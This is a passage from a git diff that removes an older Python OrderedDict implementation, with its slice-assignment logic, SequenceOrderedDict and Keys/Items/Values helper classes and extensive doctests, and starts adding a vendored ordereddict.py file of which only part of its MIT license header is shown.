- "OrderedDict([('a', 'b'), ('c', 'd'), ('e', 'f')])" - >>> r2 = repr(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - >>> r2 - "OrderedDict([('a', 'b'), ('e', 'f'), ('c', 'd')])" - >>> r1 == str(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - True - >>> r2 == str(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - True - """ - return '%s([%s])' % (self.__class__.__name__, ', '.join( - ['(%r, %r)' % (key, self[key]) for key in self._sequence])) - - def __setitem__(self, key, val): - """ - Allows slice assignment, so long as the slice is an OrderedDict - >>> d = OrderedDict() - >>> d['a'] = 'b' - >>> d['b'] = 'a' - >>> d[3] = 12 - >>> d - OrderedDict([('a', 'b'), ('b', 'a'), (3, 12)]) - >>> d[:] = OrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - OrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d[::2] = OrderedDict(((7, 8), (9, 10))) - >>> d - OrderedDict([(7, 8), (2, 3), (9, 10)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4))) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)), strict=True) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3)), strict=True) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4), (4, 5)]) - Traceback (most recent call last): - ValueError: slice assignment must be from unique keys - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3))) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::-1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(3, 4), (2, 3), (1, 2), (0, 1)]) - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = 3 - Traceback (most recent call last): - TypeError: slice assignment requires an OrderedDict - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = OrderedDict([(9, 8)]) - >>> d - OrderedDict([(9, 8), (1, 2), (2, 3), (3, 4)]) - """ - if isinstance(key, types.SliceType): - if not isinstance(val, OrderedDict): - # FIXME: allow a list of tuples? - raise TypeError('slice assignment requires an OrderedDict') - keys = self._sequence[key] - # NOTE: Could use ``range(*key.indices(len(self._sequence)))`` - indexes = range(len(self._sequence))[key] - if key.step is None: - # NOTE: new slice may not be the same size as the one being - # overwritten ! - # NOTE: What is the algorithm for an impossible slice? - # e.g. d[5:3] - pos = key.start or 0 - del self[key] - newkeys = val.keys() - for k in newkeys: - if k in self: - if self.strict: - raise ValueError('slice assignment must be from ' - 'unique keys') - else: - # NOTE: This removes duplicate keys *first* - # so start position might have changed? - del self[k] - self._sequence = (self._sequence[:pos] + newkeys + - self._sequence[pos:]) - dict.update(self, val) - else: - # extended slice - length of new slice must be the same - # as the one being replaced - if len(keys) != len(val): - raise ValueError('attempt to assign sequence of size %s ' - 'to extended slice of size %s' % (len(val), len(keys))) - # FIXME: efficiency? - del self[key] - item_list = zip(indexes, val.items()) - # smallest indexes first - higher indexes not guaranteed to - # exist - item_list.sort() - for pos, (newkey, newval) in item_list: - if self.strict and newkey in self: - raise ValueError('slice assignment must be from unique' - ' keys') - self.insert(pos, newkey, newval) - else: - if key not in self: - self._sequence.append(key) - dict.__setitem__(self, key, val) - - def __getitem__(self, key): - """ - Allows slicing. Returns an OrderedDict if you slice. - >>> b = OrderedDict([(7, 0), (6, 1), (5, 2), (4, 3), (3, 4), (2, 5), (1, 6)]) - >>> b[::-1] - OrderedDict([(1, 6), (2, 5), (3, 4), (4, 3), (5, 2), (6, 1), (7, 0)]) - >>> b[2:5] - OrderedDict([(5, 2), (4, 3), (3, 4)]) - >>> type(b[2:4]) - <class '__main__.OrderedDict'> - """ - if isinstance(key, types.SliceType): - # FIXME: does this raise the error we want? - keys = self._sequence[key] - # FIXME: efficiency? - return OrderedDict([(entry, self[entry]) for entry in keys]) - else: - return dict.__getitem__(self, key) - - __str__ = __repr__ - - def __setattr__(self, name, value): - """ - Implemented so that accesses to ``sequence`` raise a warning and are - diverted to the new ``setkeys`` method. - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: doesn't return anything - self.setkeys(value) - else: - # FIXME: do we want to allow arbitrary setting of attributes? - # Or do we want to manage it? - object.__setattr__(self, name, value) - - def __getattr__(self, name): - """ - Implemented so that access to ``sequence`` raises a warning. - - >>> d = OrderedDict() - >>> d.sequence - [] - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: Still (currently) returns a direct reference. Need to - # because code that uses sequence will expect to be able to - # mutate it in place. - return self._sequence - else: - # raise the appropriate error - raise AttributeError("OrderedDict has no '%s' attribute" % name) - - def __deepcopy__(self, memo): - """ - To allow deepcopy to work with OrderedDict. - - >>> from copy import deepcopy - >>> a = OrderedDict([(1, 1), (2, 2), (3, 3)]) - >>> a['test'] = {} - >>> b = deepcopy(a) - >>> b == a - True - >>> b is a - False - >>> a['test'] is b['test'] - False - """ - from copy import deepcopy - return self.__class__(deepcopy(self.items(), memo), self.strict) - - -### Read-only methods ### - - def copy(self): - """ - >>> OrderedDict(((1, 3), (3, 2), (2, 1))).copy() - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - return OrderedDict(self) - - def items(self): - """ - ``items`` returns a list of tuples representing all the - ``(key, value)`` pairs in the dictionary. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.items() - [(1, 3), (3, 2), (2, 1)] - >>> d.clear() - >>> d.items() - [] - """ - return zip(self._sequence, self.values()) - - def keys(self): - """ - Return a list of keys in the ``OrderedDict``. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - """ - return self._sequence[:] - - def values(self, values=None): - """ - Return a list of all the values in the OrderedDict. - - Optionally you can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.values() - [3, 2, 1] - """ - return [self[key] for key in self._sequence] - - def iteritems(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iteritems() - >>> ii.next() - (1, 3) - >>> ii.next() - (3, 2) - >>> ii.next() - (2, 1) - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - key = keys.next() - yield (key, self[key]) - return make_iter() - - def iterkeys(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iterkeys() - >>> ii.next() - 1 - >>> ii.next() - 3 - >>> ii.next() - 2 - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - return iter(self._sequence) - - __iter__ = iterkeys - - def itervalues(self): - """ - >>> iv = OrderedDict(((1, 3), (3, 2), (2, 1))).itervalues() - >>> iv.next() - 3 - >>> iv.next() - 2 - >>> iv.next() - 1 - >>> iv.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - yield self[keys.next()] - return make_iter() - -### Read-write methods ### - - def clear(self): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.clear() - >>> d - OrderedDict([]) - """ - dict.clear(self) - self._sequence = [] - - def pop(self, key, *args): - """ - No dict.pop in Python 2.2, gotta reimplement it - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.pop(3) - 2 - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> d.pop(4) - Traceback (most recent call last): - KeyError: 4 - >>> d.pop(4, 0) - 0 - >>> d.pop(4, 0, 1) - Traceback (most recent call last): - TypeError: pop expected at most 2 arguments, got 3 - """ - if len(args) > 1: - raise TypeError('pop expected at most 2 arguments, got %s' % - (len(args) + 1)) - if key in self: - val = self[key] - del self[key] - else: - try: - val = args[0] - except IndexError: - raise KeyError(key) - return val - - def popitem(self, last=True): - """ - Delete and return an item specified by index, not a random one as in - dict. The index is -1 by default (the last item). - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.popitem() - (2, 1) - >>> d - OrderedDict([(1, 3), (3, 2)]) - >>> d.popitem(0) - (1, 3) - >>> OrderedDict().popitem() - Traceback (most recent call last): - KeyError: 'popitem(): dictionary is empty' - >>> d.popitem(2) - Traceback (most recent call last): - IndexError: popitem(): index 2 not valid - """ - if not self._sequence: - raise KeyError('popitem(): dictionary is empty') - try: - i = -1 if last else 0 - key = self._sequence[i] - except IndexError: - raise IndexError('popitem(): index %s not valid' % i) - return (key, self.pop(key)) - - def setdefault(self, key, defval = None): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setdefault(1) - 3 - >>> d.setdefault(4) is None - True - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None)]) - >>> d.setdefault(5, 0) - 0 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None), (5, 0)]) - """ - if key in self: - return self[key] - else: - self[key] = defval - return defval - - def update(self, from_od): - """ - Update from another OrderedDict or sequence of (key, value) pairs - - >>> d = OrderedDict(((1, 0), (0, 1))) - >>> d.update(OrderedDict(((1, 3), (3, 2), (2, 1)))) - >>> d - OrderedDict([(1, 3), (0, 1), (3, 2), (2, 1)]) - >>> d.update({4: 4}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> d.update((4, 4)) - Traceback (most recent call last): - TypeError: cannot convert dictionary update sequence element "4" to a 2-item sequence - """ - if isinstance(from_od, OrderedDict): - for key, val in from_od.items(): - self[key] = val - elif isinstance(from_od, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - # FIXME: efficiency? - # sequence of 2-item sequences, or error - for item in from_od: - try: - key, val = item - except TypeError: - raise TypeError('cannot convert dictionary update' - ' sequence element "%s" to a 2-item sequence' % item) - self[key] = val - - def rename(self, old_key, new_key): - """ - Rename the key for a given value, without modifying sequence order. - - For the case where new_key already exists this raise an exception, - since if new_key exists, it is ambiguous as to what happens to the - associated values, and the position of new_key in the sequence. - - >>> od = OrderedDict() - >>> od['a'] = 1 - >>> od['b'] = 2 - >>> od.items() - [('a', 1), ('b', 2)] - >>> od.rename('b', 'c') - >>> od.items() - [('a', 1), ('c', 2)] - >>> od.rename('c', 'a') - Traceback (most recent call last): - ValueError: New key already exists: 'a' - >>> od.rename('d', 'b') - Traceback (most recent call last): - KeyError: 'd' - """ - if new_key == old_key: - # no-op - return - if new_key in self: - raise ValueError("New key already exists: %r" % new_key) - # rename sequence entry - value = self[old_key] - old_idx = self._sequence.index(old_key) - self._sequence[old_idx] = new_key - # rename internal dict entry - dict.__delitem__(self, old_key) - dict.__setitem__(self, new_key, value) - - def setitems(self, items): - """ - This method allows you to set the items in the dict. - - It takes a list of tuples - of the same sort returned by the ``items`` - method. - - >>> d = OrderedDict() - >>> d.setitems(((3, 1), (2, 3), (1, 2))) - >>> d - OrderedDict([(3, 1), (2, 3), (1, 2)]) - """ - self.clear() - # FIXME: this allows you to pass in an OrderedDict as well :-) - self.update(items) - - def setkeys(self, keys): - """ - ``setkeys`` all ows you to pass in a new list of keys which will - replace the current set. This must contain the same set of keys, but - need not be in the same order. - - If you pass in new keys that don't match, a ``KeyError`` will be - raised. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - >>> d.setkeys((1, 2, 3)) - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> d.setkeys(['a', 'b', 'c']) - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - """ - # FIXME: Efficiency? (use set for Python 2.4 :-) - # NOTE: list(keys) rather than keys[:] because keys[:] returns - # a tuple, if keys is a tuple. - kcopy = list(keys) - kcopy.sort() - self._sequence.sort() - if kcopy != self._sequence: - raise KeyError('Keylist is not the same as current keylist.') - # NOTE: This makes the _sequence attribute a new object, instead - # of changing it in place. - # FIXME: efficiency? - self._sequence = list(keys) - - def setvalues(self, values): - """ - You can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - (Or a ``ValueError`` is raised.) - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setvalues((1, 2, 3)) - >>> d - OrderedDict([(1, 1), (3, 2), (2, 3)]) - >>> d.setvalues([6]) - Traceback (most recent call last): - ValueError: Value list is not the same length as the OrderedDict. - """ - if len(values) != len(self): - # FIXME: correct error to raise? - raise ValueError('Value list is not the same length as the ' - 'OrderedDict.') - self.update(zip(self, values)) - -### Sequence Methods ### - - def index(self, key): - """ - Return the position of the specified key in the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.index(3) - 1 - >>> d.index(4) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - """ - return self._sequence.index(key) - - def insert(self, index, key, value): - """ - Takes ``index``, ``key``, and ``value`` as arguments. - - Sets ``key`` to ``value``, so that ``key`` is at position ``index`` in - the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.insert(0, 4, 0) - >>> d - OrderedDict([(4, 0), (1, 3), (3, 2), (2, 1)]) - >>> d.insert(0, 2, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2)]) - >>> d.insert(8, 8, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2), (8, 1)]) - """ - if key in self: - # FIXME: efficiency? - del self[key] - self._sequence.insert(index, key) - dict.__setitem__(self, key, value) - - def reverse(self): - """ - Reverse the order of the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.reverse() - >>> d - OrderedDict([(2, 1), (3, 2), (1, 3)]) - """ - self._sequence.reverse() - - def sort(self, *args, **kwargs): - """ - Sort the key order in the OrderedDict. - - This method takes the same arguments as the ``list.sort`` method on - your version of Python. - - >>> d = OrderedDict(((4, 1), (2, 2), (3, 3), (1, 4))) - >>> d.sort() - >>> d - OrderedDict([(1, 4), (2, 2), (3, 3), (4, 1)]) - """ - self._sequence.sort(*args, **kwargs) - -if INTP_VER >= (2, 7): - from collections import OrderedDict -else: - OrderedDict = _OrderedDict - -class Keys(object): - # FIXME: should this object be a subclass of list? - """ - Custom object for accessing the keys of an OrderedDict. - - Can be called like the normal ``OrderedDict.keys`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the keys method.""" - return self._main._keys() - - def __getitem__(self, index): - """Fetch the key at position i.""" - # NOTE: this automatically supports slicing :-) - return self._main._sequence[index] - - def __setitem__(self, index, name): - """ - You cannot assign to keys, but you can do slice assignment to re-order - them. - - You can only do slice assignment if the new set of keys is a reordering - of the original set. - """ - if isinstance(index, types.SliceType): - # FIXME: efficiency? - # check length is the same - indexes = range(len(self._main._sequence))[index] - if len(indexes) != len(name): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(indexes))) - # check they are the same keys - # FIXME: Use set - old_keys = self._main._sequence[index] - new_keys = list(name) - old_keys.sort() - new_keys.sort() - if old_keys != new_keys: - raise KeyError('Keylist is not the same as current keylist.') - orig_vals = [self._main[k] for k in name] - del self._main[index] - vals = zip(indexes, name, orig_vals) - vals.sort() - for i, k, v in vals: - if self._main.strict and k in self._main: - raise ValueError('slice assignment must be from ' - 'unique keys') - self._main.insert(i, k, v) - else: - raise ValueError('Cannot assign to keys') - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main._sequence) - - # FIXME: do we need to check if we are comparing with another ``Keys`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main._sequence < other - def __le__(self, other): return self._main._sequence <= other - def __eq__(self, other): return self._main._sequence == other - def __ne__(self, other): return self._main._sequence != other - def __gt__(self, other): return self._main._sequence > other - def __ge__(self, other): return self._main._sequence >= other - # FIXME: do we need __cmp__ as well as rich comparisons? - def __cmp__(self, other): return cmp(self._main._sequence, other) - - def __contains__(self, item): return item in self._main._sequence - def __len__(self): return len(self._main._sequence) - def __iter__(self): return self._main.iterkeys() - def count(self, item): return self._main._sequence.count(item) - def index(self, item, *args): return self._main._sequence.index(item, *args) - def reverse(self): self._main._sequence.reverse() - def sort(self, *args, **kwds): self._main._sequence.sort(*args, **kwds) - def __mul__(self, n): return self._main._sequence*n - __rmul__ = __mul__ - def __add__(self, other): return self._main._sequence + other - def __radd__(self, other): return other + self._main._sequence - - ## following methods not implemented for keys ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from keys') - def __iadd__(self, other): raise TypeError('Can\'t add in place to keys') - def __imul__(self, n): raise TypeError('Can\'t multiply keys in place') - def append(self, item): raise TypeError('Can\'t append items to keys') - def insert(self, i, item): raise TypeError('Can\'t insert items into keys') - def pop(self, i=-1): raise TypeError('Can\'t pop items from keys') - def remove(self, item): raise TypeError('Can\'t remove items from keys') - def extend(self, other): raise TypeError('Can\'t extend keys') - -class Items(object): - """ - Custom object for accessing the items of an OrderedDict. - - Can be called like the normal ``OrderedDict.items`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the items method.""" - return self._main._items() - - def __getitem__(self, index): - """Fetch the item at position i.""" - if isinstance(index, types.SliceType): - # fetching a slice returns an OrderedDict - return self._main[index].items() - key = self._main._sequence[index] - return (key, self._main[key]) - - def __setitem__(self, index, item): - """Set item at position i to item.""" - if isinstance(index, types.SliceType): - # NOTE: item must be an iterable (list of tuples) - self._main[index] = OrderedDict(item) - else: - # FIXME: Does this raise a sensible error? - orig = self._main.keys[index] - key, value = item - if self._main.strict and key in self and (key != orig): - raise ValueError('slice assignment must be from ' - 'unique keys') - # delete the current one - del self._main[self._main._sequence[index]] - self._main.insert(index, key, value) - - def __delitem__(self, i): - """Delete the item at position i.""" - key = self._main._sequence[i] - if isinstance(i, types.SliceType): - for k in key: - # FIXME: efficiency? - del self._main[k] - else: - del self._main[key] - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.items()) - - # FIXME: do we need to check if we are comparing with another ``Items`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.items() < other - def __le__(self, other): return self._main.items() <= other - def __eq__(self, other): return self._main.items() == other - def __ne__(self, other): return self._main.items() != other - def __gt__(self, other): return self._main.items() > other - def __ge__(self, other): return self._main.items() >= other - def __cmp__(self, other): return cmp(self._main.items(), other) - - def __contains__(self, item): return item in self._main.items() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.iteritems() - def count(self, item): return self._main.items().count(item) - def index(self, item, *args): return self._main.items().index(item, *args) - def reverse(self): self._main.reverse() - def sort(self, *args, **kwds): self._main.sort(*args, **kwds) - def __mul__(self, n): return self._main.items()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.items() + other - def __radd__(self, other): return other + self._main.items() - - def append(self, item): - """Add an item to the end.""" - # FIXME: this is only append if the key isn't already present - key, value = item - self._main[key] = value - - def insert(self, i, item): - key, value = item - self._main.insert(i, key, value) - - def pop(self, i=-1): - key = self._main._sequence[i] - return (key, self._main.pop(key)) - - def remove(self, item): - key, value = item - try: - assert value == self._main[key] - except (KeyError, AssertionError): - raise ValueError('ValueError: list.remove(x): x not in list') - else: - del self._main[key] - - def extend(self, other): - # FIXME: is only a true extend if none of the keys already present - for item in other: - key, value = item - self._main[key] = value - - def __iadd__(self, other): - self.extend(other) - - ## following methods not implemented for items ## - - def __imul__(self, n): raise TypeError('Can\'t multiply items in place') - -class Values(object): - """ - Custom object for accessing the values of an OrderedDict. - - Can be called like the normal ``OrderedDict.values`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the values method.""" - return self._main._values() - - def __getitem__(self, index): - """Fetch the value at position i.""" - if isinstance(index, types.SliceType): - return [self._main[key] for key in self._main._sequence[index]] - else: - return self._main[self._main._sequence[index]] - - def __setitem__(self, index, value): - """ - Set the value at position i to value. - - You can only do slice assignment to values if you supply a sequence of - equal length to the slice you are replacing. - """ - if isinstance(index, types.SliceType): - keys = self._main._sequence[index] - if len(keys) != len(value): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(keys))) - # FIXME: efficiency? Would be better to calculate the indexes - # directly from the slice object - # NOTE: the new keys can collide with existing keys (or even - # contain duplicates) - these will overwrite - for key, val in zip(keys, value): - self._main[key] = val - else: - self._main[self._main._sequence[index]] = value - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.values()) - - # FIXME: do we need to check if we are comparing with another ``Values`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.values() < other - def __le__(self, other): return self._main.values() <= other - def __eq__(self, other): return self._main.values() == other - def __ne__(self, other): return self._main.values() != other - def __gt__(self, other): return self._main.values() > other - def __ge__(self, other): return self._main.values() >= other - def __cmp__(self, other): return cmp(self._main.values(), other) - - def __contains__(self, item): return item in self._main.values() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.itervalues() - def count(self, item): return self._main.values().count(item) - def index(self, item, *args): return self._main.values().index(item, *args) - - def reverse(self): - """Reverse the values""" - vals = self._main.values() - vals.reverse() - # FIXME: efficiency - self[:] = vals - - def sort(self, *args, **kwds): - """Sort the values.""" - vals = self._main.values() - vals.sort(*args, **kwds) - self[:] = vals - - def __mul__(self, n): return self._main.values()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.values() + other - def __radd__(self, other): return other + self._main.values() - - ## following methods not implemented for values ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from values') - def __iadd__(self, other): raise TypeError('Can\'t add in place to values') - def __imul__(self, n): raise TypeError('Can\'t multiply values in place') - def append(self, item): raise TypeError('Can\'t append items to values') - def insert(self, i, item): raise TypeError('Can\'t insert items into values') - def pop(self, i=-1): raise TypeError('Can\'t pop items from values') - def remove(self, item): raise TypeError('Can\'t remove items from values') - def extend(self, other): raise TypeError('Can\'t extend values') - -class SequenceOrderedDict(OrderedDict): - """ - Experimental version of OrderedDict that has a custom object for ``keys``, - ``values``, and ``items``. - - These are callable sequence objects that work as methods, or can be - manipulated directly as sequences. - - Test for ``keys``, ``items`` and ``values``. - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys - [1, 2, 3] - >>> d.keys() - [1, 2, 3] - >>> d.setkeys((3, 2, 1)) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.setkeys((1, 2, 3)) - >>> d.keys[0] - 1 - >>> d.keys[:] - [1, 2, 3] - >>> d.keys[-1] - 3 - >>> d.keys[-2] - 2 - >>> d.keys[0:2] = [2, 1] - >>> d - SequenceOrderedDict([(2, 3), (1, 2), (3, 4)]) - >>> d.keys.reverse() - >>> d.keys - [3, 1, 2] - >>> d.keys = [1, 2, 3] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys = [3, 1, 2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2), (2, 3)]) - >>> a = SequenceOrderedDict() - >>> b = SequenceOrderedDict() - >>> a.keys == b.keys - 1 - >>> a['a'] = 3 - >>> a.keys == b.keys - 0 - >>> b['a'] = 3 - >>> a.keys == b.keys - 1 - >>> b['b'] = 3 - >>> a.keys == b.keys - 0 - >>> a.keys > b.keys - 0 - >>> a.keys < b.keys - 1 - >>> 'a' in a.keys - 1 - >>> len(b.keys) - 2 - >>> 'c' in d.keys - 0 - >>> 1 in d.keys - 1 - >>> [v for v in d.keys] - [3, 1, 2] - >>> d.keys.sort() - >>> d.keys - [1, 2, 3] - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)), strict=True) - >>> d.keys[::-1] = [1, 2, 3] - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.keys[:2] - [3, 2] - >>> d.keys[:2] = [1, 3] - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.values - [2, 3, 4] - >>> d.values() - [2, 3, 4] - >>> d.setvalues((4, 3, 2)) - >>> d - SequenceOrderedDict([(1, 4), (2, 3), (3, 2)]) - >>> d.values[::-1] - [2, 3, 4] - >>> d.values[0] - 4 - >>> d.values[-2] - 3 - >>> del d.values[0] - Traceback (most recent call last): - TypeError: Can't delete items from values - >>> d.values[::2] = [2, 4] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> 7 in d.values - 0 - >>> len(d.values) - 3 - >>> [val for val in d.values] - [2, 3, 4] - >>> d.values[-1] = 2 - >>> d.values.count(2) - 2 - >>> d.values.index(2) - 0 - >>> d.values[-1] = 7 - >>> d.values - [2, 3, 7] - >>> d.values.reverse() - >>> d.values - [7, 3, 2] - >>> d.values.sort() - >>> d.values - [2, 3, 7] - >>> d.values.append('anything') - Traceback (most recent call last): - TypeError: Can't append items to values - >>> d.values = (1, 2, 3) - >>> d - SequenceOrderedDict([(1, 1), (2, 2), (3, 3)]) - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.items() - [(1, 2), (2, 3), (3, 4)] - >>> d.setitems([(3, 4), (2 ,3), (1, 2)]) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.items[0] - (3, 4) - >>> d.items[:-1] - [(3, 4), (2, 3)] - >>> d.items[1] = (6, 3) - >>> d.items - [(3, 4), (6, 3), (1, 2)] - >>> d.items[1:2] = [(9, 9)] - >>> d - SequenceOrderedDict([(3, 4), (9, 9), (1, 2)]) - >>> del d.items[1:2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2)]) - >>> (3, 4) in d.items - 1 - >>> (4, 3) in d.items - 0 - >>> len(d.items) - 2 - >>> [v for v in d.items] - [(3, 4), (1, 2)] - >>> d.items.count((3, 4)) - 1 - >>> d.items.index((1, 2)) - 1 - >>> d.items.index((2, 1)) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - >>> d.items.reverse() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.reverse() - >>> d.items.sort() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.append((5, 6)) - >>> d.items - [(1, 2), (3, 4), (5, 6)] - >>> d.items.insert(0, (0, 0)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (5, 6)] - >>> d.items.insert(-1, (7, 8)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8), (5, 6)] - >>> d.items.pop() - (5, 6) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8)] - >>> d.items.remove((1, 2)) - >>> d.items - [(0, 0), (3, 4), (7, 8)] - >>> d.items.extend([(1, 2), (5, 6)]) - >>> d.items - [(0, 0), (3, 4), (7, 8), (1, 2), (5, 6)] - """ - - def __init__(self, init_val=(), strict=True): - OrderedDict.__init__(self, init_val, strict=strict) - self._keys = self.keys - self._values = self.values - self._items = self.items - self.keys = Keys(self) - self.values = Values(self) - self.items = Items(self) - self._att_dict = { - 'keys': self.setkeys, - 'items': self.setitems, - 'values': self.setvalues, - } - - def __setattr__(self, name, value): - """Protect keys, items, and values.""" - if not '_att_dict' in self.__dict__: - object.__setattr__(self, name, value) - else: - try: - fun = self._att_dict[name] - except KeyError: - OrderedDict.__setattr__(self, name, value) - else: - fun(value) - -if __name__ == '__main__': - if INTP_VER < (2, 3): - raise RuntimeError("Tests require Python v.2.3 or later") - # turn off warnings for tests - warnings.filterwarnings('ignore') - # run the code tests in doctest format - import doctest - m = sys.modules.get('__main__') - globs = m.__dict__.copy() - globs.update({ - 'INTP_VER': INTP_VER, - }) - doctest.testmod(m, globs=globs) - diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py new file mode 100644 index 00000000000..6884f791c4f --- /dev/null +++ b/thirdparty/odict/ordereddict.py @@ -0,0 +1,127 @@ +# Copyright (c) 2009 Raymond Hettinger +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, 